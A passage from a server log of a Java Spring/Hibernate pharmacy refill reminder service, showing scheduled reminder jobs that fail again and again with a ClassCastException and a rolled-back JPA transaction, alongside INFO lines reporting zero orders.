org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at 